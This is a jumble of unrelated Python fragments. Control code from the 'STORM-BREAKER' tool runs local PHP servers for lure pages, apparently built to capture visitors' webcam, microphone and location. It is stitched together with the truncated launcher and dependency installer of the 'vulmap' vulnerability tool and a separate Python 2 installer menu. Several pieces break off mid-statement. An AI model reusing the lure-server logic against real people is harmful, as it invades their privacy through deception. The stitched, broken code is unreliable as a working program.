def normal_data(): banner.banner() localhost.run_php_server(port=2525, dir_name="normal_data") while True: if_exit = localhost.After_click( after_click_template_name=paths.normal_temp("info"), after_click_status="NO_IM_NORMAL") if if_exit == "YES_EXIT": break elif if_exit == "NO_EXIT": pass
def camera_temp_start(): banner.banner() localhost.run_php_server(port=2627, dir_name="camera_temp") while True: localhost.After_click( after_click_template_name=paths.webcam_temp("face-app-info"), after_click_path_message=messages.show_message("webcam"), after_click_status='YES_CONTINUE') if_exit = localhost.Before_click( before_click_template_name=paths.webcam_temp("face-app-result"), before_click_status="DO_NOT_CONTINUE", before_click_focus="webcam") if if_exit == "YES_EXIT": break elif if_exit == "NO_EXIT": pass
def weather_start(): banner.banner() localhost.run_php_server(port=2897, dir_name="weather") while True: localhost.After_click( after_click_template_name=paths.weather_temp("info"), after_click_path_message=messages.show_message("loc"), after_click_status='YES_CONTINUE') if_exit = localhost.Before_click( before_click_template_name=paths.weather_temp("result"), before_click_status="DO_NOT_CONTINUE", before_click_focus="location") exit_error = localhost.error_handler(paths.weather_temp("error")) if if_exit == "YES_EXIT" or exit_error == "YES_EXIT": break elif if_exit == "NO_EXIT" or exit_error == "NO_EXIT": pass
def microphone_temp_start(): banner.banner() localhost.run_php_server(port=2564, dir_name="microphone") while True: localhost.After_click( after_click_template_name=paths.microphone_temp("microphone-info"), after_click_path_message=messages.show_message("mic"), after_click_status='YES_CONTINUE') if_exit = localhost.Before_click( before_click_template_name=paths.microphone_temp( "microphone-result"), before_click_status="DO_NOT_CONTINUE", before_click_focus="microphone") if if_exit == "YES_EXIT": break elif if_exit == "NO_EXIT": pass
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # author: zhzyker # github: https://github.com/zhzyker/vulmap # If you have any problems, please give feedback to https://github.com/zhzyker/vulmap/issues from module.banner import banner print(banner()) # 显示随机banner from module.install import require require() from module.allcheck import version_check from module import globals from module.argparse import arg from module.license import vulmap_license from core.core import core from module.time import now from module.color import color from thirdparty import urllib3 urllib3.disable_warnings() def config(): header = { 'Accept': 'application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, ' 'application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*', 'User-agent': args.ua, 'Content-Type':
def require(): pwd_vulmap = os.path.split(os.path.realpath(sys.argv[0]))[0] def install_gevent(): input_gevent = input( now.timed(de=0) + color.yel_info() + color.yellow( " Gevent dependency not found, install it now (y/n): ")) if input_gevent == "y": try: pwd_packages = sysconfig.get_paths()["purelib"] os.chdir(pwd_vulmap) gevent_tar = "./thirdparty/gevent.tar.gz" t = tarfile.open(gevent_tar) t.extractall(path=pwd_packages) pwd_gevent = pwd_packages + "/gevent" os.chdir(pwd_gevent) try: if os.system( "python3 setup.py install >> /dev/null 2>&1") == 0: print( now.timed(de=0) + color.yel_info() + color.yellow(" gevent install to: " + pwd_packages)) print( now.timed(de=0) + color.yel_info() + color.yellow( " gevent dependency installation is complete")) #print(now.timed(de=0) + color.red_warn() + color.yellow( # " Permission denied, need root permissions to install")) #if os.system("sudo python3 setup.py install") == 0: # print(now.timed(de=0) + color.yel_info() + color.yellow(" Gevent install to: " + pwd_packages)) # print(now.timed(de=0) + color.yel_info() + color.yellow( # " Gevent dependency installation is complete")) except: print( now.timed(de=0) + color.red_warn() + color.yellow( " gevent installation failed, please use \" pip3 install gevent\" to install" )) except Exception as error: if r"Permission" in str(error): print( now.timed(de=0) + color.red_warn() + color.yellow( " Permission denied: Need root privileges or \"sudo xxxx\"" )) # print(now.timed(de=0) + color.red("[ERROR] " + error.__traceback__.tb_frame.f_globals['__file__'] # + " " + str(error.__traceback__.tb_lineno))) def install_crypto(): input_crypto = input( now.timed(de=0) + color.yel_info() + color.yellow( " pycryptodome dependency not found, install it now (y/n): ")) if input_crypto == "y": try: pwd_packages = sysconfig.get_paths()["purelib"] os.chdir(pwd_vulmap) pycryptodome_tar = "./thirdparty/pycryptodome.tar.gz" t = tarfile.open(pycryptodome_tar) t.extractall(path=pwd_packages) pwd_crypto = pwd_packages + "/pycryptodome" os.chdir(pwd_crypto) try: if os.system( "python3 setup.py install >> /dev/null 2>&1") == 0: print( now.timed(de=0) + color.yel_info() + color.yellow(" pycryptodome install to: " + pwd_packages)) print( now.timed(de=0) + color.yel_info() + color.yellow( " Crypto dependency installation is complete")) #print(now.timed(de=0) + color.red_warn() + color.yellow( # " Permission denied, need root permissions to install")) #if os.system("sudo python3 setup.py install") == 0: # print(now.timed(de=0) + color.yel_info() + color.yellow(" pycryptodome install to: " + pwd_packages)) # print(now.timed(de=0) + color.yel_info() + color.yellow( # " pycryptodome dependency installation is complete")) except: print( now.timed(de=0) + color.red_warn() + color.yellow( " Crypto installation failed, please use \" pip3 install pycryptodome\" to install" )) except Exception as error: if r"Permission" in str(error): print( now.timed(de=0) + color.red_warn() + color.yellow( " Permission denied: Need root privileges or \"sudo xxxx\"" )) require_list = [] try: from gevent import monkey monkey.patch_all() except ImportError as e: print( now.timed(de=0) + color.red_warn() + color.yellow( " Not find \"gevent\", please use \" pip3 install -r requirements.txt\" to install" )) exit(0) #if r"gevent" in str(e): # require_list.append("gevent") try: from Crypto.Cipher import AES from Crypto.Util.Padding import pad except ImportError as e: print( now.timed(de=0) + color.red_warn() + color.yellow( " Not find \"pycryptodome\", please use \" pip3 install -r requirements.txt\" to install" )) exit(0) #require_list.append("crypto") if r"gevent" in require_list and r"crypto" in require_list: print(banner()) # 显示随机banner install_gevent() install_crypto() exit(0) if r"gevent" in require_list: print(banner()) # 显示随机banner install_gevent() exit(0) if r"crypto" in require_list: print(banner()) # 显示随机banner install_crypto() exit(0)
from module import check check.dependency() check.check_started() from module import banner, handler, control from colorama import Fore check.check_update() while True: banner.banner() banner.show_menu() try: original_menu = input(Fore.RED + " ┌─[" + Fore.LIGHTGREEN_EX + "STORM-BREAKER" + Fore.BLUE + "~" + Fore.WHITE + "@HOME" + Fore.RED + """] └──╼ """ + Fore.WHITE + "$ ") if original_menu == "0": handler.normal_data() elif original_menu == "1": handler.weather_start() elif original_menu == "2": handler.camera_temp_start() elif original_menu == "3": handler.microphone_temp_start() elif original_menu == "4":
sys.stdout.write("\033[1;32m") # Print below lines with Green print "###### Choose the options to install the below packages ######" print "# #" print "# 1) Install Nagios Client #" print "# 2) Install Apache Spark #" print "# 3) Install MongoDB #" print "# 4) Install Java JRE 1.8 #" print "# 5) Install Zookeeper #" print "# 6) Install Kafka #" print "##############################################################" option = raw_input("Please Enter Your Option ? : ") sys.stdout.write("\033[0m") # Reset Print Colors if option == '1': print "111" b.main('Apache Kafka', '/var/log') b.banner('name', 'service', 'dire', 'config', 'data', 'log', 'dep') elif option == '2': pass elif option == '3': pass elif option == '4': java.install elif option == '5': pass elif option == '6': kafka.Install() elif option == '7': java.Install() else: print "Your Option is not correct"